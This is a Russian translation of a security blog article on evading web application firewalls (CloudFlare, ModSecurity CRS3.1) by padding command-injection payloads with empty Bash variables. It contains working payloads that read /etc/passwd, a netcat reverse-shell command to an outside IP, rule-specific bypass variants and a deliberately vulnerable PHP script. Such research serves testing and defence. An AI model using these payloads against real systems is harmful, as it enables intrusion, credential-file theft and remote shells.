Техники обхода файерволов веб-приложений (Web Application Firewall (WAF)) (ч. 3)


Источник: https://www.secjuice.com/web-application-firewall-waf-evasion/

Предыдущая часть: Техники обхода файерволов веб-приложений (Web Application Firewall (WAF)) (ч. 2)

Эта статья исследует, как использовать неинициализированные переменные Bash для обхода регулярных выражений WAF, лежащих в основе фильтров и совпадения образцов. Давайте посмотрим, как это может быть сделано на CloudFlare WAF и ModSecurity OWASP CRS3.

Неинициализированная переменная

В последних двух статьях этой серии «Техники обхода WAF» мы рассмотрели как обойти набор правил WAF при эксплуатации уязвимости Удалённое выполнение команд (Remote Command Execution) на системе Linux через злоупотребление использования подстановочных символов. В этом эпизоде я покажу вам другую технику, которая использует неинициализированные переменные bash чтобы ускользнуть от фильтров на основе регулярных выражений и совпадений по паттернам (образцам).

echo "uninitialized_variable=$uninitialized_variable"

Неинициализированная переменная имеет знчение null (не значения вовсе).

uninitialized_variable=

Объявление переменной без инициализации это то же самое, что установить её значение на null, как показано выше.

По умолчанию Bash трактует неинициализированные переменные также, как это делает Perl: они являются пустыми строками! Проблема в том, что даже возможно выполнить команды конкатенированные (объединённые) неинициализированными переменными и их также можно использовать внутри аргументов. Давайте начнём с примера.

Суть идеи:

Предположим, что мы хотим выполнить команду cat /etc/passwd, мы можем использовать следующий синтаксис:

cat$u /etc$u/passwd$u

где $u не существует и она в bash воспринимается как пустая строка:

Это может использоваться для обхода правила WAF, давайте сделаем несколько тестов с CloudFlare WAF и с ModSecurity OWASP Core Rule Set 3.1.

CloudFlare WAF (план pro)

Как и в предыдущих статьях, я собираюсь протестировать техники обхода на очень простом PHP скрипте, который очевидно является уязвимым и по своей сути далёк от реальности (я так надеюсь). Бессмысленно оценивать такой сервис как CloudFlare. Это просто способ лучше объяснить технику в «реальном» сценарии, и это не означает, что CloudFlare WAF является более или менее безопасным чем остальные. Просто показывается, почему вы должны знать, является ли (если да, то как) ваш код уязвимым и что вы можете сделать для исправления его или как разработать собственное правило (также для подобных тестов в предыдущих постах я использовал Sucuri… но пришло время изменить цель!).

Что я сделал: включил все правила CloudFlare WAF и настроил уровень безопасности на High (кажется, что почти всё там основывается на OWASP CRS2…).

PHP код для примера:

<?php
        if(isset($_GET['host'])) {
                system('dig '.$_GET['host']);
        }

Этот очень простой PHP скрипт использует dig для преобразования указанного имени хоста из GET параметра host, передаваемого примерно так /?host=www.google.com.

Ответ:

Очевидно, он уязвим к RCE если вставить точку с запятой после имени хоста и начать новую команду, наподобие:


/?host=www.google.com;ls+/

Но что если я попытаюсь прочитать файл /etc/passwd выполнив cat /etc/passwd? Давайте попробуем:

/?host=www.google.com;cat+/etc/passwd

Меня заблокировали, и это хорошо! Окей, теперь я могу попытаться обойти весь набор правил, чтобы добраться /etc/passwd, делать это я буду используя неинициализированные переменные примерно так: /?host=www.google.com;cat$u+/etc$u/passwd$u, где $u будет пустой строкой.

/etc/passwd утёк:

Как вы можете видеть на скриншоте выше, мой запрос прошёл и файл /etc/passwd утёк. Круто ведь!┌(◉ ͜ʖ◉)つ┣▇▇▇═──

Я увидел, что CloudFlare имеет некоторые специфичные правила для предотвращения использования netcat, которая может использоваться для обратного шелла. Поэтому я решил попробовать получить обратный шелл обойдя набор правил CloudFlare WAF. Ситуация следующая, я просто переключил в данной категории все правила CloudFlare на "block".


Первая попытка: выполнение netcat с аргументом -e /bin/bash до моего IP на порту 1337.

CloudFlare WAF блокирует обратный шелл nc:

Хорошие новости: CloudFlare заблокировала мой запрос на выполнения этой самой команды, но добавление неинициализированных переменных bash после nc и внутри /bin/bash, примерно так:


nc$u -e /bin$u/bash$u 1.2.3.4 1337.

обходит CF WAF и мы получаем обратный шелл.

Et voilà!

ModSecurity OWASP CRS3.1

С CRS3.1 все техники обхода становятся труднее, особенно при увеличении уровня Паранойи до 3 (всего 4 уровня Паранойи CRS3, но четвёртый уровень хрен обойдёшь) и это одна из многих причин, почему я так люблю CRS3!

Допустим, что в отличие от того, что произошло на CloudFlare, когда CRS3.1 настроен на уровне паранойи 3, мой первый тест был заблокирован правилом 932100 "Unix Command Injection": («Инъекция команд Unix»):

Что я могу сделать для обхода этого правила? Я знаю, что ;<команда> блокируется, но может быть полезная нагрузка ;<пробел><неинициализированная переменная><команда> может обойти… Я имею ввиду что-то такое:

?host=www.google.it;+$u+cat+/etc/passwd.

932100 обоёден!

Неплохо! Я обошёл правило 932100, но теперь мой запрос заблокирован из-за строки etc/passwd внутри параметра host. Что я могу сделать, так это добавить больше неинициализированных переменных внутри пути etc/passwd как-то так:

?host=www.google.it;+$u+cat+/etc$u/passwd$u

Это работает! /etc/passwd утёк

В отличие от моих тестов на CloudFlare WAF, использование CRS3.1 на уровне Paranoia Level 3 труднее обойти, и это становится совершенно невозможным при заключении $_GET[‘host’] в двойные кавычки внутри PHP скрипта. Давайте попробуем:

<?php
        if(isset($_GET['host'])) {
                system('dig "'.$_GET['host'].'"');
        }

Теперь чтобы внедрить команду недостаточно точки с запятой. Мне нужна двойная кавычки и затем обработать или закомментировать оставшуюся двойную кавычку. Например:

/?host=www.google.it";cat+/etc/passwd+#

Я знаю, что вы думаете: «Теперь с двойными кавычками, точкой с запятой, полезной нагрузкой RCE, включающей переменные, да ещё и символ комментария — такой «бордель» CloudFlare точно заблокирует… эмммм, нет.


Обход CloudFlare WAF:

В отличие от CloudFlare, на OWASP CRS3 я не могу обойти набор правил с Paranoia Level = 3, из-за двух правил:

  • 942460 Meta-Character Anomaly Detection Alert — Repetitive Non-Word Characters: оно блокирует мой запрос из-за символов ", ;, /, и $
  • 942260 Detects basic SQL authentication bypass attempts 2/3: пытаясь использовать менее специальные символы, я заблокировал это правило.

Понижаясь до уровня Paranoia Level 2, это прекрасно работает:

/?host=www.google.it";+$u+cat+/etc$u/passwd+\#

Заключение

Почему так трудно заблокировать запросы такого рода? И почему WAF обычно не блокирует символ доллара внутри значения аргумента? Потому что это приведёт к большому количеству ложных срабатываний. ИМХО, лучший вариант используется в CRS3, который блокирует 4 или более повторяющихся не-словестных символов найденных в единичном значении. Это умнее, чем блокировать определённые символы, будет меньше ложных срабатываний.

Предыдущие части


Рекомендуется Вам:

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *